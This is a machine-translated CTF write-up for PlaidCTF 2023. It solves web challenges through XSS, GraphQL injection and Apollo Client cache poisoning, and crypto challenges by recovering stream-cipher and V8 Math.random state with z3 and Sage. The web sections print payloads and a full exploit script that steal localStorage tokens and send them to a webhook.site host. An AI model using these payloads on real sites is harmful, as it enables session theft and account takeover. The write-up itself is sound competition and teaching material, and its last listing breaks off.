PlaidCTF 2023 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This week, our team participated in this event at Balsn.217@TSJ.tw to practice for the upcoming DEFCON CTF. I only solved some crypto and web challenges.

Web

Davy Jones' Putlocker: Dubs

This challenge had a React frontend and a GraphQL backend. The GraphQL had a mutation { flag } that could give you the flag, and there was also an admin bot, so we needed to find a way to XSS.

By diffing the two versions (Dubs part1 and Subs part2), we found that the key was that the playlist resolver schema did not use micromark for filtering, so we could directly XSS.

playlist xss:

<iframe srcdoc="<script src=https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40></script>"></iframe>

webhook response:

fetch("/graphql", {
  "headers": {
    "authorization": localStorage.token,
    "content-type": "application/json"
  },
  "body": JSON.stringify({"operationName":"SelfQuery","variables":{},"query":`mutation SelfQuery {
      flag
   }`}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(t=>location='https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40?json='+encodeURIComponent(t))

Then report it to the admin bot to get the flag:

fetch("/graphql", {
  "headers": {
    "authorization": localStorage.token,
    "content-type": "application/json"
  },
  "body": JSON.stringify({"operationName":"SelfQuery","variables":{},"query":`mutation SelfQuery {
      report(url: "http://f7b6c0fd-1354-45d7-9518-848229cfeff7.dubs.putlocker.chal.pwni.ng:20003/user/aec7af49-fd20-44c9-b00b-ec60545edc71")
   }`}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(t=>location='https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40?json='+encodeURIComponent(t))

Davy Jones' Putlocker: Subs

Obviously, the previous challenge was unintended because a 350-point challenge couldn't be that simple XD. The author also mentioned that solving the previous challenge that way was a big mistake. Correctly, half of the solution for this challenge was the intended solution for the previous one, but since no one used the intended solution for the previous challenge, this one became harder.

After diffing, we found that the playlist resolver XSS was blocked, so we had to find another way to XSS.

The main issue was in the client's Playlist.tsx:

export const Playlist = () => {
	const params = useParams();
	const id = params.id as string;
	const qs = useQs() as { index?: number, autoplay?: boolean };
	// omitted...
	return (
		<PlaylistView
			id={uuidify(id)}
			{...qs}
			onSetIndex={(index: number) => {
				navigate(`/playlist/${id}?${encodeQs({ ...qs, index })}`, { replace: true });
			}}
			onSetAutoplay={(autoplay: boolean) => {
				navigate(`/playlist/${id}?${encodeQs({ ...qs, autoplay })}`, { replace: true });
			}}
		/>
	);
};

We could see that the ...qs allowed us to override id={uuidify(id)}, and after looking into useQs, we found it used the qs module for parsing, so we could inject nested objects, etc.

Then in PlaylistView:

const PlaylistView = (props: PlaylistViewProps) => {
	const navigate = useNavigate();

	interface PlaylistQueryResult {
		playlist: {
			id: string;
			name: string;
			description: string;
			episodes: {
				id: string;
				name: string;
			}[];
			owner: {
				id: string;
				name: string;
			};
		};
	}

	const { data, loading, error } = useQuery<PlaylistQueryResult>(gql`
		query PlaylistQuery {
			playlist(id: ${props.id}) {
				id
				name
				description
				episodes {
					id
					name
				}
				owner {
					id
					name
				}
			}
		}
	`);
	// omitted...
}

We could see that props.id was controllable, so it looked like there was a GraphQL injection, but it wasn't that simple because it used a gql tagged template literal, so we needed to see how the gql function was implemented:

import { DocumentNode,parse, print } from "graphql/language";
import { isNode } from "graphql/language/ast";

const cache = new Map<string, DocumentNode>();

export function gql(literals: TemplateStringsArray, ...args: any[]) {
	const parts = [literals[0]];

	for (let i = 0; i < args.length; i++) {
		const arg: unknown = args[i];

		if (isNode(arg)) {
			parts.push(print(arg));
		} else if (arg === undefined || arg === null) {
			parts.push("null");
		} else {
			parts.push(JSON.stringify(arg));
		}

		parts.push(literals[i + 1]);
	}

	const source = parts.join("");

	if (cache.has(source)) {
		return cache.get(source)!;
	}

	const document = parse(source);
	cache.set(source, document);
	return document;
}

So the most likely path was to make isNode(arg) pass and find a way to inject the payload. Both isNode and print were internal GraphQL functions, so props.id needed to be a GraphQL AST node. After reading the internal implementation, we found that { kind: 'Name', value: 'INJECTION_PAYLOAD' } was the simplest way, so ?id[kind]=Name&id[value]=INJECTION_PAYLOAD would work.

Next, we needed to see how to exploit the GraphQL injection. The client used was Apollo Client. According to the official documentation, it caches query results by default. Testing showed that if a query existed in the cache and all requested fields were present, it would fetch from the cache instead of making a request. So the idea was to pollute the cache and make the EpisodePanel request fetch from the cache, leading to XSS.

After some testing, we found that the cache key was generally in the form of __typename:id, so we wondered if we could override __typename. We tried __typename: name, but it resulted in HTTP 400. This was because Apollo Client automatically added __typename for cache keys, causing a conflict.

Further research showed support for special directives like @client, @export, @connection, etc. The @client directive told Apollo Client not to send the field to the server, only looking in the local resolver. So foo @client would remove the field from the request. Testing showed that __typename @client effectively removed the __typename field added by Apollo Client, and adding __typename: name allowed the server's name to be used as the __typename value, potentially causing issues.

Even after finding this, I couldn't find an exploit path, so I considered prototype pollution. Since GraphQL queries were expected to be uncontrollable, protection might be insufficient, and a prototype pollution 0day wasn't impossible.

The __typename: name was the intended solution for the previous challenge (Dubs), using cache type confusion to cause issues.

I checked the deepMerge function but found it couldn't cause PP. I also checked the GraphQL literal and JS object conversion code but found no PP.

Finally, I found that processSelectionSet allowed me to use __proto__: foo @client to make cache.data.data.ROOT_QUERY.foo === Object.prototype. This wasn't PP, but it allowed reading from Object.prototype and writing to the cache, which seemed useless.

Stepping back, I realized __proto__ meant reading __proto__ from a result object and storing it in ROOT_QUERY.foo. What if I replaced __proto__ with another key? If the key had a value, it would be read and written to ROOT_QUERY.foo. If there were duplicate keys, having one @client would prevent errors, so:

    pl2: playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { 
        peko: id
    }
    pl2: foo @client

This would read data from playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { peko: id } and write it to ROOT_QUERY.foo, making ROOT_QUERY.foo = { peko: '...' }. After discovering this, I knew I could solve the challenge by polluting an episode using another object with an alias. To control the data, I used a playlist as the base object and injected the XSS payload into the username. The injection looked like this:

	"b4429f09-0f36-4e67-aa94-492a4d00b885") { 
        id
        name
        description: rawDescription
        episodes {
            id
            name
        }
        owner {
            id
            name
        }
    }
    pl2: playlist(id: "7f373fc9-6ba4-46e8-a14d-0464199a18b8") {
        id
        name
        description: owner {
          __html: name
        }
        url: name
        rating: name
        ratingCount: name
        show: owner {
            owner: shows {
                id
            }
        }
    }
    pl2: episode(id:"5aac1f62-6a23-4054-bd73-60d48396a13d") @client
    dummy: playlist(id: "00000000-0000-0000-0000-000000000000"

The playlist b4429f09-0f36-4e67-aa94-492a4d00b885 needed an episode ID 5aac1f62-6a23-4054-bd73-60d48396a13d, and 7f373fc9-6ba4-46e8-a14d-0464199a18b8 needed to be a playlist with the username containing the XSS payload. Combining everything into an exploit script solved the challenge:

import requests
import json
import os
from urllib.parse import quote

# host = "http://localhost:7008"
host = "http://c3365128-2e0e-4a33-bcd3-f7ffc8f33790.subs.putlocker.chal.pwni.ng:20002"
payload = (
    "<img src=x: onerror='location=`https://webhook.site/ed852d2a-b167-49da-9159-d48909b980bd?token=`+encodeURIComponent(localStorage.token)'>"
    + os.urandom(8).hex()
)


def graphql(query, variables={}, token=""):
    r = requests.post(
        host + "/graphql",
        json={"query": query, "variables": variables},
        headers={
            "Authorization": token,
        },
    )
    return r.json()


random_episode_id = graphql(
    """
query {
    recentEpisodes {
        id
    }
}
"""
)["data"]["recentEpisodes"][0]["id"]

token = graphql(
    """
mutation($payload: String!) {
    register(name: $payload, password: $payload)
}
""",
    {"payload": payload},
)["data"]["register"]
playlist_id = graphql(
    """
mutation($name: String!, $description: String!) {
    createPlaylist(name: $name, description: $description) {
        id
    }
}
""",
    {"name": "peko", "description": "miko"},
    token=token,
)["data"]["createPlaylist"]["id"]
print(
    graphql(
        """
mutation($playlist_id: ID!, $episode_id: ID!) {
    updatePlaylistEpisodes(id: $playlist_id, episodes: [$episode_id]) {
        id
    }
}
""",
        {"playlist_id": playlist_id, "episode_id": random_episode_id},
        token=token,
    )
)
print(payload)

# location='/playlist/peko?id[kind]=Name&id[value]='+encodeURIComponent(`"b4429f09-0f36-4e67-aa94-492a4d00b885") {
#         id
#         name
#         description: rawDescription
#         episodes {
#             id
#             name
#         }
#         owner {
#             id
#             name
#         }
#     }
#     pl2: playlist(id: "1b6ca857-9560-4f9b-93fd-e12f5f68dd0c") {
#         id
#         name
#         description: owner {
#           __html: name
#         }
#         url: name
#         rating: name
#         ratingCount: name
#         show: owner {
#             owner: shows {
#                 id
#             }
#         }
#     }
#     pl2: episode(id:"5aac1f62-6a23-4054-bd73-60d48396a13d") @client
#     dummy: playlist(id: "00000000-0000-0000-0000-000000000000"`)

url = (
    host
    + "/playlist/peko?id[kind]=Name&id[value]="
    + quote(
        """"%s") { 
        id
        name
        description: rawDescription
        episodes {
            id
            name
        }
        owner {
            id
            name
        }
    }
    pl2: playlist(id: "%s") {
        id
        name
        description: owner {
          __html: name
        }
        url: name
        rating: name
        ratingCount: name
        show: owner {
            owner: shows {
                id
            }
        }
    }
    pl2: episode(id:"%s") @client
    dummy: playlist(id: "00000000-0000-0000-0000-000000000000"
"""
        % (playlist_id, playlist_id, random_episode_id)
    )
)
# apollo client quriks caused this:
# cache.data.data.ROOT_QUERY['episode({"id":"..."})'] = {"id": "...", "name": "...", "description": {"__html": "..."}, ...}
print(url)

print(
    graphql(
        """
mutation($url: String!) {
    report(url: $url)
}
""",
        {"url": url},
        token=token,
    )
)

# grab admin token and `mutation { flag }`
# PCTF{say_what_you_will_about_these_sites_but_they_wont_pull_a_warner_bros_discovery_on_you_and_yeet_37_shows_into_the_void_f0e0079af5e5b05edbf5d248}

Special thanks to Ginoah for some help, otherwise, I might have missed some details.

Crypto

bivalves: scallop

I wasn't sure about the purpose of this challenge. A teammate wrote a z3 script, but it had a bug, so we couldn't get the flag. After debugging and making minor optimizations, we solved it:

from z3 import *
from bitstream import BitStream
from bitstring import BitArray
import os
from tqdm import tqdm


def step(out=True):
    ret = None
    if out:
        ret = Xor(state[65], state[92])
    t1 = Xor(Xor(state[65], state[92]), Xor(And(state[90], state[91]), state[170]))
    t2 = Xor(Xor(state[161], state[176]), Xor(And(state[174], state[175]), state[68]))
    for i in range(92, 0, -1):
        state[i] = state[i - 1]
    state[0] = t2
    for i in range(176, 93, -1):
        state[i] = state[i - 1]
    state[93] = t1
    return ret


state = [Bool(f"s_{i}") for i in range(80 + 13 + 80 + 4)]
init_state = state[:]

ct = BitArray(
    bytes=b"\n_\x02s\xe6\xb4\xf5\xec\xfe\xd6\xb0\xb6\xfb\xf1\x9ab\xb7\x85p(p\x8e\xaf/\xa4'\xbf\x00\xf4\xac}c\x1e\x83\x00\xee\xcb\x90\x10\n\x91K,\xa3C`\x12w\xe8\x93\x0e+N\xba\xfa\xf9\xf7\xaf\x8f\t\xc3\xa0\xdf\x11\x07K\xb6\x17\xa0\xe3\xbdod\x0e\xbd\xc0\xf8\x90\xa2\xb5\xef\xdf\xa6\x9f\x04xW\x94\xc4\x97\xde,\xda\xb64\xf7\xde\xbeF8W\xfe\xa2\xcc\xf1\xe1O!\xe6#\xeb\x9d\xa9JT\x7f\xbd\xde\xf8\xd1\xec\x0b\x8f-\xf3q_y\xe4\xf7O\xfc\x86\xfa\xb9\xa5\x1d\x10\xc6\xde\xbb\xcc\xe5/\x81\xd4OO\"i~\x95\xf5|V\x08sJcB\x88\x1c;p\xec|!\xdb\xd0\x98lg\x0c\xe9=\xf5\xf0\xd3\tz\xab\xb4\xa7\\V\xe6\t\x92\x88\x00\xe9TC\xf6.\xc7q7+.\x92\x0c\x83\x9a.N\x84}\xe9\x0eiU\x10\xc0\x82E\x8b\xefl\xdb\x01\x03\xea\xe2)}\xe0\x07\x02h\xfc\xa0\xdc\x7f\xfb\xa9[\x19\xdc\xa1\xfb\xc4Yv\x1cm\xa0\x8dY\xd6\x16f\x14\\\xf0\xb1\xd3n\x82S[\xeb\xa0sz\"\x05\xea\xe2\x0f\xd0n\x0c\xfc\xaf\xee\xe7+c\xa2~K\\\x8f\xd3\xeb%\x87\xb2f.\xa9\x1b\xe9\x07\x1aP\x81&\xf0\xc1\x9aw\xf3\xcb\x93,\x1b\xdf\xfc\xaf\xb3?Q.S\xec\xc8g!tY\x99\xe8\x98\x14\x8c\x89\xdf\xbbv\xdf\x82\xd6\xb4tn\xec\xd1\xb1`@2kA*\x0b\xb9?A\xce\xd03\xb3\xf2\xbbV/\t'\xdf5\x81\xc5\x15\x8eB]E\xdd\xd6R\xf6\x9c8\xe5\x84\x15\x11\x1a_\x84\xb7\x9e\xec\xbd\x1ed\x17{J\xb8*\xe1\x82\xd4l\xd3\x8bod?\x0b\x1a\xe5t\x18\xbbh5yK\xbeR+\xa7G\x16\xc1\xa7p\xaf\x9c\x9e|\xce^\xf7%\xe4\xd0\xc2\x87\xac\x14\xb4\xa3\xbb\xf7\xb3&\xccaaY\xd0\xb3\xe3\xc7\xfb\xa8\x96ir5c\xf1[j\xdc\xe5'\x9a\xc5~{\xb5)\xcb\xab\xbe\xa9\x12X\x82\x088\xbf\x8c\x9caX\x8cxw\xbeMu#\xfe:\xcf\x1f\xc9\xbe\x11\t2\xe4\x97\x94<T\xc4\xa7\xf3\x8c\xdf\x9a\x0bHkx\xcc#\xf2\xf0{\x10\xf728}\xd7\x8e\x90\x9ce\xde\x19O?\xbb\x94IH\xd4vj\xd1C\x9f\x18\xf7\xf6=\x92p_\x82\x06\xf8\xe7\xdb\x15\x84|~hP\x88\n\xc7d\xc4\x8f\x08Z^>\xea\xe4\x1c\xd9_\x99\x99\xfc\xa4\xf8\x00\x01\xf0\xf1\x1e\xf5\x1f\xe4\x84\x0b`&/\xcd\xd2\xb7-?\xca"
)

known_pt = BitArray(
    bytes=(
        b"""There once was a ship that put to sea
The name of the ship was the Billy O' Tea
The winds blew up, her bow dipped down
Oh blow, my bully boys, blow (huh)

Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go

She'd not been two weeks from shore
When down on her right a whale bore
The captain called all hands and swore
He'd take that whale in tow (huh)

Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go

- """
    )
)

sol = Solver()

print(len(ct), len(known_pt))

for i in tqdm(range(300)):
    s = step()
    sol.add(s == Xor(ct[i], known_pt[i]))
assert sol.check() == sat

m = sol.model()
res = [bool(m.eval(x)) for x in init_state]


def py_step(out=True):
    ret = None
    if out:
        ret = py_state[65] ^ py_state[92]
    t1 = py_state[65] ^ py_state[92] ^ (py_state[90] & py_state[91]) ^ py_state[170]
    t2 = py_state[161] ^ py_state[176] ^ (py_state[174] & py_state[175]) ^ py_state[68]
    for i in range(92, 0, -1):
        py_state[i] = py_state[i - 1]
    py_state[0] = t2
    for i in range(176, 93, -1):
        py_state[i] = py_state[i - 1]
    py_state[93] = t1
    return ret


py_state = res[:]
pt = BitStream()
for i in tqdm(range(len(ct))):
    pt.write(py_step() ^ ct[i], bool)
print(pt.read(bytes, len(pt) // 8))
# pctf{but_the_whale_is_covered_in_barnacles}

fastrology: waxing crescent

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 135;
const alphabet = '☊☋☌☍';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    output += alphabet[Math.floor(Math.random() * alphabet.length)];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

This challenge involved breaking V8's Math.random(), which used xorshift128 internally with linear operations. V8 took xorshift's (state0 >> 12) | 0x3FF0000000000000 and converted it to a float, using the top 52 bits of state0 as the mantissa.

Since alphabet.length === 4, based on Math.floor(Math.random() * alphabet.length), which resulted in 0, 1, 2, 3, we could determine the top 2 bits of state0, forming a linear system to solve.

However, V8 had a kCacheSize = 64 cache pool. Initially empty, it filled the pool when empty and fetched from it. The pool was LIFO, so outputs were reversed in groups of 64.

Since we didn't know warmup_len, we brute-forced it. If the linear system couldn't find a solution (rows >> cols), it was incorrect.

from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm


def solve_pow(io):
    io.recvuntil(b"starting with ")
    prefix = io.recvuntil(b" ", drop=True).decode()
    suffix = mbruteforce(
        lambda x: hashlib.sha256((prefix + x).encode()).hexdigest()[-6:] == "ffffff",
        alphabet=string.ascii_letters + string.digits,
        length=8,
        method="fixed",
    )
    print(hashlib.sha256((prefix + suffix).encode()).hexdigest())
    io.sendlineafter(b"ffffff.\n", (prefix + suffix).encode())


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift128_next(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def padlist(x, n):
    return x + ["?"] * (n - len(x))


syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
R = PolynomialRing(GF(2), syms)
s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])
states = []
for i in range(64 * 6):
    s0, s1 = xorshift128_next(s0, s1)
    states.append((s0, s1))

prefix_length = 135


def solve(orig_nums, start_offset=None):
    if start_offset is None:
        for i in tqdm(range(64)):
            r = solve(orig_nums, i)
            if r:
                return r
        return
    nums = ["?"] * start_offset + orig_nums
    kCacheSize = 64  # v8 cache size
    chunks = [
        padlist(nums[i : i + kCacheSize], kCacheSize)
        for i in range(0, len(nums), kCacheSize)
    ]
    nums = sum([chk[::-1] for chk in chunks], [])

    eq = []
    for i in range(len(nums)):
        s0, s1 = states[i]
        if nums[i] == "?":
            continue
        bits = f"{nums[i]:02b}"
        eq.append(s0[1] - int(bits[1]))
        eq.append(s0[0] - int(bits[0]))

    M, v = Sequence(eq).coefficient_matrix()
    M = M.dense_matrix()
    A = M[:, :-1]
    b = vector(-M[:, -1])
    try:
        sol = A.solve_right(b)
    except Exception as e:
        return
    print("start offset", start_offset)
    print("sol", sol)

    outs = []
    for i in range(start_offset + prefix_length + 128 + 64 - 7):
        s0, s1 = states[i]
        b0 = s0[0](*sol)
        b1 = s0[1](*sol)
        out = ZZ(b0) * 2 + ZZ(b1)
        outs.append(out)

    chunks = [
        padlist(outs[i : i + kCacheSize], kCacheSize)
        for i in range(0, len(outs), kCacheSize)
    ]
    outs = sum([chk[::-1] for chk in chunks], [])
    ret = outs[start_offset + prefix_length : start_offset + prefix_length + 128]
    if "?" not in ret:
        return [ret]

    ret_all = []
    unk_idx = [i for i, x in enumerate(ret) if x == "?"]
    for i in product(range(4), repeat=len(unk_idx)):
        ret2 = ret[:]
        for j, idx in enumerate(unk_idx):
            ret2[idx] = i[j]
        ret_all.append(ret2)
    return ret_all


# io = process(["python", "server.py"])
io = remote("fastrology.chal.pwni.ng", 1337)
solve_pow(io)
io.recvuntil(b"]\n")
io.sendline(b"waxing crescent")

charset = "☊☋☌☍"
for _ in range(50):
    io.recvuntil(b"/50\n")
    s = io.recvlineS().strip()
    h = io.recvlineS().strip()
    print(s, h)
    nums = [charset.index(c) for c in s]
    for pred_nums in solve(nums):
        pred = "".join([charset[i] for i in pred_nums])
        if hashlib.md5(pred.encode()).hexdigest() == h:
            print(pred)
            io.sendline(pred.encode())
            break

io.interactive()
# PCTF{moon_wobbles_from_libration_are_kinda_freaky_0bacbc2a52}

*fastrology: new moon

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 192;
const alphabet = '♈♉♊♋♌♍♎♏♐♑♒♓⛎';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    output += alphabet[Math.floor(Math.random() * alphabet.length)];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

The main difference in this challenge was alphabet.length === 13, unlike 4, making it harder to deduce bits. I wrote a script to bucket by top 3 bits, finding some floor outputs uniquely determined the top 3 bits, forming a linear system to solve.

import struct, math, random
from collections import defaultdict


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


# f = u2fp((1 << 51) + (1 << 50))
# print(f, math.floor(f * 4))
# print(fp2u(f))

# for i in range(4):
#     f = u2fp(i << 50)
#     print(f, math.floor(f * 4))
#     assert math.floor(f * 4) == i
#     assert fp2u(f) == i << 50

# for i in range(16):
#     f = u2fp(i << 48)
#     print(f, i, math.floor(f * 13))

bits = 3
buckets = defaultdict(set)
for _ in range(100000):
    f = random.random()
    buckets[fp2u(f) >> (52 - bits)].add(math.floor(f * 13))
cnt = defaultdict(int)
for i in range(1 << bits):
    print(i, buckets[i])
    for x in buckets[i]:
        cnt[x] += 1
print(cnt)
for i in range(1 << bits):
    for x, y in cnt.items():
        if y > 1:
            buckets[i].discard(x)
    print(i, buckets[i])

However, my code was poorly written, so I didn't solve it. Toxicpie got the flag. Later, I fixed my sage test script:

import struct, math, random
from binteger import Bin


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


# fmt: off
nums = [11,9,3,3,11,6,12,6,5,0,6,4,12,4,6,3,1,3,3,10,2,1,9,9,6,2,3,4,10,2,1,8,7,12,6,10,8,2,9,3,8,4,9,2,8,0,6,3,12,0,2,1,8,5,11,5,10,3,3,3,5,3,12,4,5,5,6,6,5,11,11,5,3,7,10,3,10,11,12,8,2,6,0,2,9,3,10,12,10,11,6,11,0,9,12,8,5,4,11,11,10,5,0,3,3,1,4,5,1,12,5,0,2,1,6,9,10,0,8,4,2,11,12,7,0,3,1,5,8,1,8,6,12,4,4,6,11,11,6,9,5,2,4,1,4,8,5,10,0,9,1,0,4,12,4,2,5,0,2,3,4,9,7,3,1,1,10,12,12,6,11,4,1,6,0,5,0,12,5,1,2,4,9,1,9,11,9,8,9,8,1,3,4,1,3,3,5,7,4,5,12,11,7,11,5,7,8,3,0,12,10,6,6,1,7,6,0,11,11,0,11,9,12,0,10,12,1,5,7,10,11,1,5,1,12,7,5,8,10,9,1,10,11,4,5,9,10,2,11,5,10,12,8,12,7,12,11,8,9,6,5,4,2,4,1,8,0,6,7,10,6,11,2,6,1,4,5,1,3,1,9,8,6,8,11,1,4,1,3,3,3,6,5,8,8,6,3,8,1,3,2,9,9,0,11,8,3,10,12,12,10,8,6,10,5,7,6,0,3,10]
# fmt: on
pred = nums[192:]
nums = nums[:192]
numspred = nums + pred
startOffset = 0
nums = ["?"] * startOffset + nums
numspred = ["?"] * startOffset + numspred
kCacheSize = 64  # v8 cache size


def padlist(x, n):
    return x + ["?"] * (n - len(x))


chunks = [
    padlist(nums[i : i + kCacheSize], kCacheSize)
    for i in range(0, len(nums), kCacheSize)
]
nums = sum([chk[::-1] for chk in chunks], [])
chunks = [
    padlist(numspred[i : i + kCacheSize], kCacheSize)
    for i in range(0, len(numspred), kCacheSize)
]
numspred = sum([chk[::-1] for chk in chunks], [])


syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
R = PolynomialRing(GF(2), syms)
s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift128_next(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


tbl = {0: 0, 2: 1, 5: 3, 7: 4, 10: 6, 12: 7}

prefix_len = len(nums)
eq = []
for i in range(prefix_len):
    s0, s1 = xorshift128_next(s0, s1)
    if nums[i] == "?":
        continue
    if nums[i] not in tbl:
        continue
    bits = f"{tbl[nums[i]]:03b}"
    eq.append(s0[0] - int(bits[0]))
    eq.append(s0[1] - int(bits[1]))
    eq.append(s0[2] - int(bits[2]))
M, v = Sequence(eq).coefficient_matrix()
print(vector(v))
M = M.dense_matrix()
A = M[:, :-1]
b = vector(-M[:, -1])
print(A.dimensions(), len(b))
sol = A.solve_right(b)
print(sol)


s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])
for i in range(len(numspred)):
    s0, s1 = xorshift128_next(s0, s1)
    ss0 = [int(f(*sol)) for f in s0]
    out = math.floor(u2fp(Bin(ss0).int >> 12) * 13)
    if i == startOffset + 192:
        print("=" * 40)
    if i == startOffset + 192 + 128:
        print("=" * 40)
    print(out, numspred[i], out == numspred[i])

Toxicpie's solution used a different technique, calculating an array:

for i in range(13):
    print(fp2u(i / 13))

# output + [(1 << 52) - 1]
hint13 = [0, 346430740566961, 692861481133922, 1039292221700884, 1385722962267845, 1732153702834806, 2078584443401768,
          2425015183968728, 2771445924535690, 3117876665102651, 3464307405669612, 3810738146236574, 4157168886803535, (1 << 52) - 1]

Assuming the floor output was n, comparing hint13[n] ^ hint13[n + 1] top bits revealed common bits, confirming some bits. This method provided more equations than mine, so it's worth mentioning. The code concept:

for num in nums:
	step()
	if num == '?':
		continue
	common = bin(hint13[num] ^ hint13[num + 1])[2:].zfill(52).find('1')
	for i in range(common):
		if (hint13[num] >> (51 - i)) & 1:
			eq.append((se_state0[i], 1))
		else:
			eq.append((se_state0[i], 0))

*fastrology: waxing gibbous

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 250;
const alphabet = '♈♉♊♋♌♍♎♏♐♑♒♓⛎';

let backup = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * 12);
    backup += alphabet[index];
}

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * alphabet.length);
    if (index === 12) {
        // OPHIUCHUS MUST BE CONCEALED
        output += backup[i];
    } else {
        output += alphabet[index];
    }
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

The main difference in this challenge was that when index === 12, the output was replaced, meaning some bits in the equations were wrong. This led me to think of error decoding: Ax+e=bAx+e=b, given A,bA,b and ee with low hamming weight, find xx. With AF2n×kA \in \mathbb{F}_2^{n \times k} and n>kn > k.

If AA was a special matrix like Reed Solomon Code's generator matrix, better methods existed. For general linear codes, ISD (Information Set Decoding) was the most common solution.

Implementing it confirmed that with known warmup_len, ISD worked (toxicpie's method provided ~500 equations, with errors rarely exceeding 20). It took ~4-10 seconds to solve. Brute-forcing warmup_len required 64*10 seconds, but the challenge timeout was 15 seconds. Without a large cluster for parallel ISD, my method couldn't solve it.

I wrote a parallel solver for longer timeouts, so I'll document it:

solve_gibbous.py:

from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm
from binteger import Bin
import struct
import random
from concurrent.futures import ProcessPoolExecutor, as_completed
from solve_gibbous_worker import solve


def solve_pow(io):
    io.recvuntil(b"starting with ")
    prefix = io.recvuntil(b" ", drop=True).decode()
    suffix = mbruteforce(
        lambda x: hashlib.sha256((prefix + x).encode()).hexdigest()[-6:] == "ffffff",
        alphabet=string.ascii_letters + string.digits,
        length=8,
        method="fixed",
    )
    print(hashlib.sha256((prefix + suffix).encode()).hexdigest())
    io.sendlineafter(b"ffffff.\n", (prefix + suffix).encode())


io = process(["python", "server.py"])
# solve_pow(io)
io.recvuntil(b"]\n")
io.sendline(b"waxing gibbous")

charset = "♈♉♊♋♌♍♎♏♐♑♒♓⛎"
for _ in range(50):
    io.recvuntil(b"/50\n")
    s = io.recvlineS().strip()
    h = io.recvlineS().strip()
    print(s, h)
    ranges = [(i, i + 4) for i in range(0, 64, 4)]
    for rg in ranges:
        print("try", rg)
        for pred in solve(s, rg, timeout=12):
            print(pred)
            if hashlib.md5(pred.encode()).hexdigest() == h:
                io.sendline(pred.encode())
                break
        else:
            continue
        break

io.interactive()

solve_gibbous_worker.py:

from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm
